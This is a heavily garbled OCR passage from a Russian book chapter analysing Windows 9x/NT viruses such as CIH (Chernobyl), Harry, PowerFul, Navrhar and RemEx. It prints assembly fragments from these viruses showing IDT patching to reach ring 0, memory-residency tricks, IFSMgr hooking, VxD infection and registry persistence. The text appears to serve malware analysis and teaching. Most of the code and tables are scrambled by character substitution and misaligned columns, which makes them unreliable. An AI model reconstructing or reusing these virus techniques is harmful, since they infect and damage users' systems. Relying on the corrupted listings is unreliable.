1еа еах,[е8р-0008] Адрес области в стеке
хог еЬх, еЬх еЬх:=0
хсЬд еах,Тз:[еЬх] Теперь ^з:[0] указивает на эту область
са11 $+5 Вичисление...
рор еЬх . . .дельта-смецения
1еа есх,[еЬх+00042] Адрес нового ЗЕН
ривГ| есх Заполнить область в сте к е ...
рибП еах . . . новуми значениями

После внполнения этого фрагмента район памяти, в котором рас- 
положен стек, будет содержать следуюшие даннне (см. табл. 4.10).
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Табпица 4.10. Стек «Чернобьшьского» вируса
С м еш ени е Значение Примечание

ЕЗР ЕВР
Е5Р-4 Адрес старого 5ЕН
Е5Р-8 Адрес нового 5ЕН Сюда указьшает Ғ5:[0]

Поскольку стек «растет вниз», то достаточно перевернуть эту таб- 
личку вверх тормашками и увидеть, что фрагмент стековой памяти, 
начинаюшийся с адреса [Е8 Р+8 ], по своему содержимому очень на- 
поминает начало какой-то Т1В. Все правильно, именно в этой роли 
он в дальнейшем и будет использоваться! Итак, первмм делом ви- 
рус взял на себя обработку исключительннх ситуаций. Зачем? Дело 
в том, что непосредственно вслед за этим он пьггается модифици- 
ровать системную ШТ, чтобн взять на себя также еше и обработку 
прернвания номер 3 (модификация дескриптора возможна только 
в \Ушс1о\у8 9Х). Смотрите:
ризп еах
51й1 [евр-0002] ; Адрес ЮТ - в стек.
рор еЬх
айй еЬх,01№
с П
, Дескриптор б-байтовмй, и модифииируется он по частям 
шоу еЬр,[еЬх]
тоу рр,[еЬх-0004]
; Вьшолняется адресация на ноенй обработчик 
1еа ез1,[есх+00012]
ризь ез!
; Вписмвается 1-я половина адреса
яо̂  [ейх-0004],31
зМ г ез1,0Ю
; Затем вторая
тоу [еОх+00002],51
рор ез!

Теперь достаточно инициировать внзов прернвания командой 
«ШТ 3», и управление получит вирусньга обработчик этого прернва- 
ния. Только вот внполняться этот обработчик будет уже в 0-м кольце 
зашитн, а это значит, что вирус получит недоступнне ему прежде си- 
стемнне привилегии. Кстати, может показаться странннм, что автор 
«Чернобьшя» довольно замнсловато манипулирует со стеком, вместо 
того чтобн просто сформировать нужную структуру данннх в обьм- 
ннх переменннх. Дело в том, что данньга фрагмент вируса внполня- 
ется в области РЕ-заголовка и, следовательно, писать в «обмчную»
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памятъ не может. Очень немногие «подражатели» (например, автор 
вируса \Ут9Х.51£п.2028) обратили на это внимание и попнтались 
хотя бн чуть-чуть упростить и оптимизировать -«чернобнльский» ал- 
горитм, большинство же скопировали его в свои вирусн, не вникая 
в суть.

Итак, вирус вошел в привилегированнмй режим и теперь вроде бн 
может делать все, что хочет: обрашаться на чтение и запись к любьш 
фрагментам физической памяти и к любнм портам ввода-внвода. 
Но это же обстоятельство здорово усложняет вирусу жизнь. Теперь 
ему педоступнн многочисленнне сервиснне функции \У1п32 АР1, 
он вннужден напрямую обрашаться к сложнейшим и абсолютно не- 
документированньхм низкоуровневьш сервисам ядра операционной 
системн, учитнвая -«лоскутное*- разделение физической памяти на 
страницн. И первнм делом резидентному вирусу нужно решить про- 
блему отделения своего тела от программн 3-го кольца зашитн и раз- 
мешения его где-то в «укромном уголке» оперативной памяти.

4.3.7.3. Инсталляция в неисполъзуемше буферш УММ
«Ранние» вирусн, написаннне в эпоху \У1Пс1о\¥ 5  95, довольно часто 

применяли этот простой способ установки своего тела в память. При 
обсуждении распределения памяти в ХУтсЬ^з 9Х мн упоминали, что 
часть «служебннх» областей памяти с адресами вьпце ОСОООООООЬ 
принадлежит адресньш пространствам всех процессов и при этом 
не зашивдена от записи. В частности, где-то неподалеку от адреса 
ОСОООЮООЬ менеджер виртуальньге машин размешает свои буферн 
для временннх данннх. Неиспользуемне (точнее, пока еше не ис- 
пользованнне!) буферн заполненн кодом ОҒҒЬ. Вот как применяется 
это обстоятельство в вирусе \Уш9Х.Наггу.а.
ЯЮУ еЙ1, 0С0001000(1
ш о у  еах,0000000ҒҒИ
я ю у  есх, о ғғғғғғғғ.1
герпе зсазь

Стартовмй адрес для поиска 
Искомий код
Длина области для поиска (не многовато ли9?? 
Собственно поиск

1еа ез1,[еЬр+402002] : Стартовйй адрес вируса
ш о у  есх,0000008С2 : Длина вируса

гере шоузЬ ; Собственно копирование

Понятно, что как только ядру \Утс1о\у§ понадобятся занятне ко- 
дом вируса области, система немедленно рухнет. Тем не менее этот 
малонадежннй метод инсталляции в память использовался во мно-
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гих вкрусах, например в \Уш9Х.МагЦ, \Ут9Х.Апх1е(;у.1958, \Уш9Х. 
^ц1и8.1890 и прочих.

4.3.7.4. Инсталляция в динамически вшделяемую 
системную память
Этот метод также обрел большую популярность «благодаря» ви- 

русу \¥ш9Х.С1Н. Но сам «Чернобнль»- в той части, которая относит- 
ся к установке в память, устроен несколько замнсловато -  собирает 
свое тело из отдельннх фрагментов, разбросанннх по зараженной 
программе, а для этого несколько раз «скачет» из 3-го кольца заши- 
тн  в 0-е и обратно. Короче говоря, давайте проиллюстрируем метод 
на примере другого, более простого и непритязательного вируса, ис- 
пользуюгцего ту же идею. Перед вами фрагмент кода «саморазмно- 
жаюшегося механизма» под названием \Ут9Х.Ро\уегҒи1.1773:
; Вндвление страницм системн 
ризп ООҒП

ризП
рцзп
ризГ1
ризп
ризп
риз(1

ОООП 
100000 
000(1 
оооп 
000(1 
001И

приложений
ризЛ
1П1

£)«(
айа'
ог

004(1
20(1
53(1

езр ,020 
еах,еах 
.0004050А1

памяти
Битовме флаги для страниц: 1 -  обнуленнне,
2 - вмровненнуе, . . .
.. .  4 -  непрернвнуе, 8 -  невнгружаемне 
Адрео буфера для адреоа 
Верхний желаемий адрес 
Нижний желаеммй адрео
Вуравнивание; 0 — 4 Кб. 1 - 8 Кб, 3 -  16 Кб и т. д 
Хэндл виртуальной машину
Где виделять: 1 -  в сиетемной памяти; 0 -  в памяти

Количество отраниц 
УММСаИ
Код оервиса "РадеАПосате"
Код УММ
Очистка стека, так как \'ММ не делает этого;
В ЕАХ (и в Е0Х) адрес страниц«. Получилось?
Переход по ошибке

; Копирование вируса 
тоу ео1 , еах
тоу ез1 ,еЬр
тоу есх, ООООООбЕО
гере г л о у з Ь

внделенную страницу
Адрес вуделенной системной памяти 
Адрес начала вируса 
Длина вируса 
Копировать

Другую модификацию этого метода иллюстрирует фрагмент виру- 
са \¥т9Х.Мо!1у.725:
; Вмделение фрагмента из '■оистемной к.учи"
ризь
1пг
йм

00000070211
20п
00(1

Размер виделяемого Фрагмента 
УхОСаП
Код сервиса "Сегнеар"
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Йм 4011 Код драйвера IҒЗМд г -  инсталлируемой файловой системи
хсйд еох,еах В еах -  адрес вуделенного фрагмента
рор еах Очистка стека + извлечение длинм вируса

; Копирование вируса в енделенний фрагмент
хсМд есх,еах Поместить длину вируса в ЕСХ
тоу есИ.еах Поместить адрес фрагмента в Е01
1еа ез1 , [еЬр-0В11] Поместить адрес начала вируса в Е81
ге р е  ш о у з Ь Копировать

Как вм можете видеть, сервиснне процедурм использованн разньге 
(«Ра§еА11оса1е» и «СеШеар»), а результат достигн^т один и тот же -  
где-то в глубинах системной памяти \¥ 1пс1о\у5 вьвделен «неприкаса- 
емнй> фрагмент системной памяти. Таким образом, вирус находит 
себе укромннй уголок, где его никто не тронет, и копирует в него свое 
тело. Но этого мало. Теперь ему необходимо каким-то образом искать 
цели для заражения, но об этом позже.

4.3.7.5. Встраивание в файловую систему
Ранее мн считали «\У1 пс1 о\У5-драйвер устройства» чем-то целнм 

и неделимнм. Конечно, наиболее простне ^пёошз-драйверн дей- 
ствительно способнн и обмениваться данннми с прикладннми про- 
граммами, и одновременно взаимодействовать со внешними устрой- 
ствами, -  такие драйверн сушествуют и назьшаются монолитньши. 
Но в обвдем случае это не так. Типичньш «\¥ 1пс1о\У5-драйвер» пред- 
ставляет собой сложную многоуровнев}то систему, состояадую из 
различннх компонентов: одни отвечают за интерфейс с прикладнн- 
ми программами, другие реализуют обобвденнне стратегии работн 
с данннми (например, «блочньте» и «символьнне»), третьи непосред- 
ственно взаимодействуют с устройствами через пор™ ввода-вьюода, 
четвертне «фильтруют» и «переупаковнвают» потоки данннх между 
уровнями и т. п. Кажднй компонент оформлен в виде независимого 
программного модуля (в \Утс1о\\'5  9Х это УхВ-драйвер), использует 
свой собственннй формат обмена данньши с другими компонентами 
и предоставляет им определенньш набор сервисннх процедур, кото- 
рнй можно рассматривать как внутрисистемннй АР1. Мн уже об- 
суждали это обстоятельство, когда рассматривали «нестандартнне» 
сервисн, используемне вирусами. Настало время вернуться к этому 
вопросу и осветить еше один уголок темного чулана под названием 
«системная архитектура \¥1 пс1о\У5».

Речь преимувдественно пойдет об организации файловнх систем 
в \Утс1о\У5 9Х. По умолчанию \У1пс1о\\г5 поддерживает несколько
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файловмх систем д"ля хранения данньхх на различнмх физических 
устройствах: УҒАТ, УСОҒ5 (файловая система для компакт-дисков) 
и прочих. Сувдествует возможность добавлять к ним новме файло- 
вне системн, например МТҒ8  или файловую систему для поддержки 
Ғ1азЬ-памяти. Отвечает за эту возможность компонент 1 Ғ5 М§г -  Ме- 
неджер интсталлируемнх файловьгх систем. Он поддерживаетцепоч- 
ку обработчиков запросов к файловнм системам («хуков»).

Рис. 4.13 ❖ Менеджер инсталлируемих 
файлових систем в У\Лпс1оуу8 9Х

Запрос на файловнй ввод-внвод, поступивший от прикладной 
программм, воспринимается 1Ғ5М§г (мн уже рассматривали приме- 
рн обрашения к этому компоненту в разделе «Как вирусм обравдают- 
ся к системннм сервисам»), проходит последовательно по «звеньям» 
цепочки и, будучи распознан тем или иньш обработчиком, попадает 
в тот или иной драйвер (Ғ5Б -  ҒИе 5уз1ет Опуег).

Типичное поведение резидентного вируса в \У1ПЙо\уз 9Х заключа- 
ется в том, чтобн встроитъся в цепочку обработчиков, используя для 
этого вполне легальнне средства -  документированньхе системнне 
запросн к 1Ғ5М§г. За иллюстрацией этого приема проше всего опять 
обратиться к коду вирусов семейства \\Тп9Х.С1Н:
1еа е а х ,[ есЛ] [ 0ҒҒҒҒҒСҒ7] ; Адрес нового обработчика 
ризи еах ;
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хпг '20И ; УхйСаН
67(1 ; Код сервиса "1ҒЗМдг_1пз1:а11ҒПе5уз(:етАр1НооК''

йи 40(1 ; Код драйвера 1ҒЗМдг -  инсталлируемой файловой системь*
ш о у  ОгО,еах ; Сохранить адоес старого обработчика
рор еах

Внзов «1 Ғ5 М$г_1пз1:а11Ғ11е5 у5<:етАр1Ноок» возврашает в регистре 
ЕАХ адрес следукмцего компонента, встроенного в цепочку обра- 
ботчиков запросов к 1Ғ5М§г. Вирус использует его, чтобн передать 
запрос дальше в цепочку обработчиков. Если приходит запрос на 
встраивание в цепочку со стороньх евде какого-нибудь компонента, то 
вирус старается остаться самьш первнм чзвеном».

Запрос на внполнение операции ввода-внвода, поступаюадий в 
цепочку обработчиков со сторонн 1Ғ5М§г, имеет формат, описан- 
ньш в файле «1Ғ5.Н> комплекта М5 ОБК (см. параметрн функции 
«1Ғ5ҒПеНоокҒипс»). Таким образом, при получении управления об- 
работчиком в стеке находятся:

О Е5Р+00Ь -  адрес возврата;
О  Е5Р+04Н -  адрес процедурн в драйвере, куда передавать управ- 

ление;
О  Е5Р+08Ь -  код дейетвия (0 -  читать файл, 1 -  писать, 24Ь -  от- 

крьггь, ОВЬ -  закрнть, 2СЬ -  искать первнй файл, 2 -  искать 
следуюший файл и прочие);

О  Е5Р+0СЬ -  номер диска (начиная с 1, а если -1, то это не диск);
О  Е5Р+10Ь -  тип ресурса (например, файл);
О  Е5Р+14Ь -  кодовая страница для строки имени файла;
О Е5Р+18Ь-адресструктурнЮ КЕ£).
А вот поля этой самой струкгурн ЮКЕЦ:

1 г_1 епд1 П ао ? +00 Длина буфера параметров
1 г_Падз аь ? +04 Разнообразнуе флаги доступа
1 г_изег аь ? +05 10 попьэователя
1г_зГп а« ? +06 Системннй номер файла
1Г_Р1(5 йй ? +08 10 ензивакмцего процесса
1 Г _ Р Р 8 Т (1 йй 7 +0С Адрес имени файла в ШСООЕ
1 г_аих1 аа ? +10 Адрес вторичного пользовательского буфера
1 г_с1а 1:а 66 ? +14 Адрес первичного пользовательского буфера
1 г_ор1:1опз аЬ ? +18 Опции запроса
1 г_еггог с№ ? +10 Код ошибки (0 -  нет ошибки)
1 Г_Г (1 йй ? +20 Хэндл ресурсое
1Г_ГП йй ? +24 Хэнд-п файла
1 Г _ Р 0 3 66 ? +28 Позиция в файле
и_аих2 аа ? +2С Разние дополнительние параметри
1 г_аихЗ ай ? +30 Ғазние дополнительнне лараметрь
1г_реу йй ? +34 Указатель на семафор 1Ғ8Мдг

ЙЬ 16 йир (?) +38 Рабочее пространство
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Ну вот и все, теперь код обработчика запросов ввода-внвода, уста- 
навливаемнй вирусом ЛУшЭХ.СШ, будет более понятен читателю:

ризИа Смешение ЕЗР на 20Н байтов
са!1 $+5 Традиционное...
рор езх .. .  вмчисление...
айа ез1 , ЗОЗп . . .  дельта-смецения
1е$1: ЬуТе р1:г [ез1 ], 1 Проверка флага
1пг пеаг ргг 8к1 р2 Зто "самовазов” -  пропустить
1еа еЬх, [егр+28Н] Поэиция в стеке кода действия
сгпр б«огб рТг [еЬх], 24̂ 1 Это запрос типа “ открить файл
1П2 пеаг ргг Зк1 р1 Нет - пропустить
±пс ЬуТе рХ.г [ез1 ] Инкрементировать флаг

; Здесь фрагмент заражения, которнй ма пропускаем

5к1р1:
рора
Л10У

1тр

5к1р2:
йес
ШОУ
ризл
саП

рора
гегп

Таким образом, этот обработчик реализует чтроякую» модель по- 
ведения:

О если приходит «чужой» запрос на открьггие файла, то вирус из- 
влекает из него имя файла (которое использует для попнтки 
заражения), взводит флаг-семафор и повторно перенаправляет 
этот запрос в 1Ғ5М§г;

О если из 1ҒЗМ§г приходит запрос при взведенном флаге, то это 
фактически свой собственннй запрос, и вирус (не забнв сбро- 
сить флаг) перенаправляет его драйверу файловой системн;

О если запрос не касается открнтия файла, то вирус пропускает 
его дальше по цепочке обработчиков.

Вообше говоря, «Чернобнль» -  не самьш простой вирус и требу- 
ет довольно глубокого понимания принципов работь1 \Утс1ошз, не 
так ли? Вероятно, именно поэтому многие последователи тайвань-

еах, йгО 
ймогс! ргг [еах]

Адрео следуицегс обработчика 
Переход

Ьу1е рТг [ез1-5] 
еЬх, езр
йиогй ргг [еЬх+38п] 
бкогс) рсг [еЬх+24п]

Декрементировать флаг

Параметри запроса 
Внзвать процедуру в Ғ80
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ского студента Чен Инг Хау (автора этого вируса) предпочитали 
просто-напросто «передирать» его оригинальньш код, тшательно 
прокомментированньш и опубликованнмй в электронном журнале 
«Сос1еЬгеакег5», вместо того чтобн пользоваться заложенннми в ви- 
русе идеями.

Справедливости ради следует сказать, что первне попьггки встраи- 
вания вирусов в файловую систему можно обнаружить задолго до 
\Уш9Х.С1Н -  уже в «ранних» ШпсЬ^УЗ-вирусах 1996 г. (\Ут9Х. 
Наггу и \У|п9Х.%уо.653), исходнне текста которнх опубликованн 
в журнале «У1ас1». Но удачннми их признать нельзя, поскольку они 
сочетали использование запросов к 1Ғ5М§г с прямнм модифициро- 
ванием системннх таблиц \ ¥ шс1о\у5 по конкретнь1м адресам. Версии 
и релизн операционннх систем менялись через год (а то и раньше!), 
адреса «плнли», и вирусм теряли работоспособность.

4.3.8. Вирусм -  виртуальнме драйверм
Это сложная и довольно редкая разновидность компьютерннх виру- 
сов. С точки зрения вирусописателя, у резидентного вируса, оформ- 
ленного как системннй драйвер, есть огромное достоинство -  за его 
загрузку и инициализацию отвечает \У1пскт8, поэтому ему не тре- 
буется вьшолнять никаких предварительннх <телодвижений» для 
перехода в нулевое кольцо зашитн и инсталляции в память. С дру- 
гой сторонн, написание драйверов -  весьма нетривиальная задача, 
требуюадая от автора специального программного инструментария 
и очень глубокого проникновения в принципн устройства и работм 
операционной системм.

В разннх версиях \Утс1о\У5 используются разнне модели драйве- 
ров. Еше в эпоху Ш пдо^а З.Х появилась УхБ-модель драйвера, ко- 
торая поддерживает и 16-разрядннй, и 32-разрядннй код и которую 
считают «своей» также все разновидности \У1пс1ош5 9Х. «Родной» же 
для \¥]'п(1о\У5 КТ/2000/ХР/2003 является 5У5-модель 32-разрядннх 
драйверов («1е§асу с1пуег»). Кроме того, широко распространена «уни- 
версальная» модель \¥Б М  («\¥ 1пс1о\\'5  Бпуег МойеЬ), которую пони- 
мают все современнне версии, кроме \¥!пс1о\У5 95 и \\71пс1о\У5 ИТ 4.0.

Несмотря на многочисленнне «идеологические» различия, все эти 
модели имеют обшие чертм. Драйверн любого типа суть динамиче- 
ские библиотеки особого рода, которне предоставляют прикладньш 
и системннм программам свои многочисленнне процедурм. По- 
этому в них, как правило, множество точек входа, к которнм могут 
«прицепиться» вирусн. Вирусн, используюшие это обстоятельство,
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обично заражают системнме драйверм \Мпс16мге и дополнительной 
инсталляции не требуют, поскольку получают управление вместе 
с драйвером-«носителем». Однако есть и вирусн, которне других 
дра11веров не заражают, а сами по себе представляют отдельннй про- 
граммннй модуль, оформленньш как драйвер. В этом случае вирусу 
необходимо «зарегистрироваться» в операционной системе, чтобн 
получить управление после перезагрузки компьютера. Для этого в 
\У тдо \¥5  9Х вирус, имеюший формат УХО-драйвера, может:

О поместить свой файл в каталог «С:\\Уш(1о\у5\5¥5ТЕМ \ 
Ю511В5У5»;

О упомянуть себя в секции [386епЬ] файла «5У5ТЕМ.Ш1»;
О вписать себя в ключ Реестра «НКЬМ\5у8Ьет\Сиггеп1Соп1:го1- 

5е1\Зегу1се5\УхО\кеу\5ка1:1сУхВ».
С этой же целью 5У5-драйвер в МТ должен поместить

информацию о себе в подключи ветви Реестра «НКЕМ\5У5ТЕМ\ 
Сиггеп1:Соп1го15е(;\5егУ1се5\Имя_драйвера».

43.8.1. УхО-вируси
Сначала обратим наш взор на вирусн-драйверн, предназначеннне 

для работн в \¥тс!олУ5 9Х. УхВ-модели, характерной для этой ветви 
операционннх систем \¥1пс1о\\’8 (а также для 0 5 /2 ), соответствует 
ЬЕ-формат файлов, которнй мн сейчас рассмотрим подробнее. Как 
и любая \Ут<1о\У8-программа, файл драйвера начинается с БОЗ-заго- 
ловка, которьт традиционно содержит адрес \¥1пс1о\\’5-заголовка по 
смешению ЗСЬ. \Утс1о\\’5-заголовок для ЬЕ-формата характеризует- 
ся, как легко догадаться, сигнатурой ‘ЕЕ’ (байтн 4СЬ и 45Ь). Длина 
«ЬЕ-заголовка» 176 байтов, он содержит почти полсотни полей, опи- 
снваювдих сложную струкгуру УхО-файла. Опишем в нем только не- 
которне, наиболее важнне для нас поля.
1_Е_81дпа1:иге

1Е_1п1Па1_С5
1Е_1п1Па1_Е1Р

1Е_Мешогу_Раде_51ге

ЕЕ.Оуест.Таьге^О^зет 
1Е_0Ь1есг.ТаЬ!е_Епг п  ез

1Е_Ептгу_ТаЬ1о_0П=зе1:

ЬЕ.ОаТа.Радез̂ О̂ зе!:

с!и 454СЬ 
ЙЬ 22 йир(?)
66  ? 

йй ?
с)Ь 8 бир(?)
66 ?
ЙЬ 20 йир(?) 
й й  ?

66 ?

00 20 йир(?) 
ай ?
ЙЬ 32 йир(?)
йй ?

+00 -  сигнатура Ч Е '

+18
+1С

номер сегнента для точки входа 
сметение точки входа в сегменте

+28 -  размер сектора

+40
+44

адрес таблици сегментов 
количество записей в таблице

+5С -  адрес таблици вхождений 

+80 -  смешение -области кода/данних
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Файл драйвера разбит на отдельнне сегменти, предназначеннме 
для хранения тех или иних компонентов драйвера. Сегментн опи- 
санм в специальной таблице, местоположение и количество записей 
в которой определяются полями «ЬЕ_ОЬзесС_ТаЬ1е_ОЙ§еи и чЬЕ_ 
ОЬ]ес1:_ТаЬ1е_ЕпСпе5«> соответственно. Каждая запись этой таблицн 
имеет следуювдий формат:
3ед312е йа ?
ВазеАйг йа ?
Ғ1адз сИ ?
Раде1по сМ ?
РадеМия йй ?
ЗеаНагпе ОЬ 4

+00 й Размер сегмента 
+04П Адрео оегмента
+08И Битовне флаги (бит 2 -  программнмй коя) 
+0СН Порядковмй номер сегмента (начиная с 1) 
+10Ь Сколько секторов занимает оегмент 
+14И 4-символьное имя сегментз

Каждьтй сегмент занимает целое число секторов (по умолчанию 
их длина 512 байтов), следовательно, в конце сегмента обьгчно оста- 
ется неиспользуемое пространство. Вирус ИаугЬаг (это слово по- 
словацки означает -«умелец») вставляет в конец одного из сегментов 
свой стартовнй фрагмент, а остальную часть своего тела дописнвает 
к файлу заражаемого драйвера. В противоположность этому вирусн 
семейства \У т9 Х .Н о т  приписнвают к файлу новмй сегмент с име- 
нем ‘НОКК’ со своим телом и добавляют в таблицу сегментов соот- 
ветствуювдую запись. Кстати, это непростая операция, ведь заголовки 
и служебнне таблицн в ЬЕ-файле расположенн впритнк друг к дру- 
гу. Вирусам этого семейства порой приходится заниматься долгой и 
трудной «передвижкой мебели», прежде чем им удается «вписаться» 
в драйвер.

Ну ладно, предположим, что вирус с той или иной степенью ком- 
форта все-таки разместился внутри файла драйвера. Но ведь нужно 
евде как-то обратить на себя внимание.

Один из сегментов драйвера может содержать программньш код, 
автоматически срабатьгеаюший при загрузке его в память. Для та- 
кого сегмента порядковьш номер совпадает со значением поля 
1пШа1_С5» в заголовке, а символьное имя чавде всего есть ‘КСОБ’. 
Смешение первой командн этого кода относительно начала сегмента 
хранится в поле «ЕЕ_1пШа1_Е1Р»-. Но эта точка входа не очень при- 
влекательна для вирусов, потому что она в драйверах довольно часто 
просто отсутствует, да и внполняется ее код в реальном режиме.

Поэтому большинство вирусов ишут внутри драйвера другие 
«двери» и «окна». Путь к ним указнвает «таблица вхождений», мес- 
тоположение которой определяется значением поля «ЬЕ_Еп1гу_ 
ТаЬ1е_ОЙ5е1 ». С формальной точки зрения, эта таблица состоит из
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записей переменной длини и непостоянной стр>тстурь1. Но во всех 
УХО-драйверах для \¥1п(1о\уз 9Х записи имеют один и тот же вид:
ЁТ_Неп1 йЬ 1 ; +00 Количество подзаписей (воегда 1?)
ЕТ_Ғ1адз йЬ 3 ; +01 Тип подэаписей (1 -  16-битовае адреса, 3 -  32-битовме адреса)
ЕТ_1паех с!й  1 ; +02 Порядковий номер запкси (всегда 1?)
; Единственная подзапись
ЗЕ_Ғ1ад йЬ ? ; +04 Битовье флаги подэаписи (бит 1 -  экспортируемуй обьект)
8Е_Ас1г йа ? ; +05 32-битовнй (всегда?) адрес обьекта

Смешения объектов, описмваемме 16- или 32-битовнм полем 
«5Е_Ас1г», отсчитнваются от начала области кода и даннмх (см. поле 
«ЬЕ_Ва£а_Ра§е5_(Жзе<> в «главном» заголовке). Что же это за «объ- 
ектн»? Поскольку в таблице вхождений присутствует всего одна 
запись и описмвает она единственнмй экспортируемьга объект, то 
это и есть знаменитнй ОБВ -  Ое\тсе Оезспрсог В1оск («блок опи- 
сания устройства»), содержаший основн>то служебную информацию 
о драйвере:
00В_МехТ сИ ? ; +00 Ссйлкэ на следуювдий драйвер, заполняется Ш пйоиз
ВОВ_ЗОК_УеГБ а« ? ; +04 Версия 00К
00В_0е^Нит 04* ? ; +06 Идентификатор драйвера
00В_0еуМа]огУ аь ? ; +08 Старшая часть номера версии
00В_0еуМ1погУ аь ’ ; +09 Младшая часть номера версии
00В_Ғ1ааз аи ? ; +0А Битовме флаги
ппв_Маше[8] ЙЬ 8 йир(?); +0С Имя драйвера
00В_1пИ0гс)ег йй ? ; +14 Порядок загрузки  драйвера в память
00В_СРгос сЮ ? ; +18 Адрео процедурн обработки оистемнах сообшений
П0В_У86Ргос йй ? ; +1С Адрес диспетчеоской функции при работе в У86
00В_РМРгос ай ? ; +20 Адрес диспетчерской функции при работе в РМ
ППВ_У86С51Р йй ? : +24 Заполняетоя Шлйоиз
00В_РМС31Р ао ? ; +28 Заполняется Ш1пао«з
ООВ^Яегеаса 66 ? ; +2С Заполняется И1пйо»ге
00В_8е п/ТаЬ1еР1:г сМ ? ; +30 Указатель на таб.пицу адресов сервиснмх процедур
00В_8еп/'ТаЬ1е312е сМ ? ; +34 Количество сервиснмх процедур
00В_К323егуТаЬ1е 66 ? , +38 Заполняетоя Шпвомз
00В_Ргеу оа ? , +ЗС Ссмлка на предмдуший драйвер, эаполняется Мгпаок/з
00В_31ге ай ? , +40 Размер структурм описателя
00В_В1 66 ? ; +44 Заполняетсч ШпОоиз
ООВ_Й2 йй ? ; +48 Заполняетоя Ш пйоиз
00В_НЗ СЙ ? ; +4С Заполняется йш йокз

Смотрите, сколько сснлок на разнне процедурн, присутств\тохцие 
внутри драйвера! Вот за них-то и «цепляются» вирусн. Например, 
вирус ШлтЬаг видоизменяет адрес обязательно присутствуюшей 
в любом драйвере процедурм обработки системннх сообшений. Так 
же поступают и вирусн семейства \Уш9Х.Ногп, правда, они это дела-
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ют «хитрей». Дело в том, что адреса, указаннне в БОВ и служебннх 
таблицах, не являются абсолютньши. Они в процессе загрузки драй- 
вера в память могут бнть скорректированн значениями из таблицн 
перемешаемьгх сснлок. Вирусн \Ут9Х.Ногп учитьгеают это: они мо- 
гут исправить адрес процедурн в ООВ, могут исказить только пере- 
мешаемую сснлку, а могут сдёлать и то, и другое. Результатом будет 
перенаправление точки входа в процедуру обработки системннх со- 
обшений на вирусннй код.

Резюмируя: вирусов, заражаюших УХО-драйверн, немного. Прак- 
тически все они являются «концептуальннми» и «коллекционннми». 
Гораздо больше вирусов, которне не занимаются разбором сложного 
и запутанного ЬЕ-формата, а сами являются УХБ-модулями, «со- 
браннмми» при помовди М1сгозоЙ; БЭ К  (например, \¥1п9Х.РипсЬ). 
Разумеется, «лечить» их невозможно, а надо просто удалять.

Все УХО-вирусн, для того чтобн перемевдаться с машинм на ма- 
шину, умеют также заражать обмчнме ЕХЕ-программм РЕ-формата, 
документн М5 \Уог<] (вирус КаугЬаг), СОМ-программн (вирусн се- 
мейства Орета) и прочее. Работая в нулевом кольце зашитн, поиск 
жертв и доступ к системннм сервисам они осушествляют по «мето- 
дике» \\Гш9Х.С1Н.

4.3.82. 5У8-вируш и \¥ОМ-вируси
Для поддержки этого типа драйверов программистн фирмн 

МкгозоЙ решили не изобретать велосипед, а воспользоваться все тем 
же старнм добрнм РЕ-форматом. 5¥5-драйвер может содержать и 
импорт, и экспорт, и точку входа в код инициализации. Этот код по- 
лучает управление в процессе загрузки драйвера в память, его основ- 
ное назначение -  при помовди системннх внзовов «ГоСгеаСеБеччсе» 
и «1оСгеаСе5утЬоНс1лпк» расписать роли остальньпс процедур драй- 
вера: кто из них будет обслуживать аппаратнне прернвания, кто вза- 
имодействовать с другими драйверами, кто отвечать на запросн от 
программ 3-го кольца зашитн, а затем сообшать операционной систе- 
ме о стартуювдем драйвере.

Таким образом, заражение 5¥5-драйверов тривиально (это делает, 
например, вирус \Уш32.К1ск). Иное дело -  «жизнь» вируса по пра- 
вилам драйверов \¥тс1о\¥8 НТ. Надо признать, что эта проблема не 
всегда оказнвалась вирусописателям по зубам. Давайте рассмотрим 
два претендента на роль файлового вируса-драйвера.

Вирус \Ут32.КетЕх (он же КетЕхр и «Кето1е Ехр1огег»), ко- 
торнй в свое время бнл объявлен «первнм настоявдим вирусом для



Вирусь! для 32-разряднь1х версий УУшс1оуу5 ❖ 283

N1'», сушествует в виде файла «1Е403К.5У5», расположен- 
ного в каталоге «С:\\¥тМ Т\5У5ТЕМ 32\Вп\тег8» и зарегистрирован- 
ного в ветви Реестра «НКЕМ\8у51ет\Сиггеп1Соп1го15е(;\5ег\гке5\ 
КетоСе Ехр1огег». Размер вируса -  около 125 Кб, поскольку он напи- 
сан на Си. Специалисгн антивирусной компании НеС\Уогк Аззос1а1ез 
подсчитали, что это соответствует примерно 50 000 строк исходного 
кода и 200 человеко-дней работн. Впрочем, их коллеги из Лаборато- 
рии Касперского вполне справедливо заметили, что на самом деле ви- 
рус на 90% состоит из стандартннх библиотек У1$иа1 С/С++ и обше- 
доступной библиотеки С2.1Р. Собственной программистской работьх 
в нем лишь десятая часть. Воистину, «не так страшен черт, как его 
малюют».

Как бн то ни бнло, но, дизассемблировав программу, можно сколь 
угодно долго искать в ее многомегабайтном листинге внзовн функ- 
ций «1оС.геа1 еОе\1 се» и «[оСгеаСеБутЬоНсЬтк». Их там просто нет! 
Решение загадки обнаруживается в следуюшем фрагменте:
00404485 шоу еах, ймогсМ10В14 ; Адрес имени сервиса

00404492 шоу [еор+8егу1се31:а.ггТаЬ1еЛрЗегу1сеНаше], еах
00404495 1еа еах, [еор+Зегу1се51;аггТаЬ1е] ; Адрес таблици сервисов
00404498 иоу [еЬр+ЗегУ1сеЗТа'1:ТаЬ1еЛрЗегч'1сеРгос], 0‘ Тзет 1ос_4044АЕ 
0040449Ғ ризЬ еах
004044А0 са11 й з:8ТагТ8егу1сеСТг1013раТсЬегА ; Создание главного потокз

Оказнвается, \\Тп32.КетЕх -  это не драйвер, а всего лишь так на- 
знваемнй сервис (или служба) \Утс1о\У5 МТ. Сервисн представляют 
собой программн 3-го кольца зашитн, работаюшие в фоновом ре- 
жиме. Единственное преимушество вирусов-сервисов заключается 
в том, что они стартуют раньше некоторнх компонентов операци- 
онной системн и, возможно, антивирусов-мониторов. А в осталь- 
ном это обнчнне программн. Вирус \У1п32.К.етЕх даже цели для 
заражения ивдет «по-деревенски»: в бесконечном цикле при помоши 
«ҒтйҒкзШк^У»- и «ҒтсШех1 Ғ11е\^». Какое разочарование!

Вирус \Ут32.1пЙ8.4608 -  еше один широко разрекламированннй 
претендент на роль файлового вируса-драйвера для \Ут<1о\уз КТ. Он 
помешает свой файл в каталог «С:\\¥тМТ\5У5ТЕМ32» и регистри- 
руется в ветви Реестра «НКЕМ\8узСет\СиггепССоп<;го15е1\5егУ1сез\ 
1пЬ. Но и э т о т  вирус не является полноценннм драйвером. Вот лис- 
тинг ключевого фрагмента:
1еа еах, с)«огс1_11121
$1с1Т диога ртг [еах.1

Адоес буфера
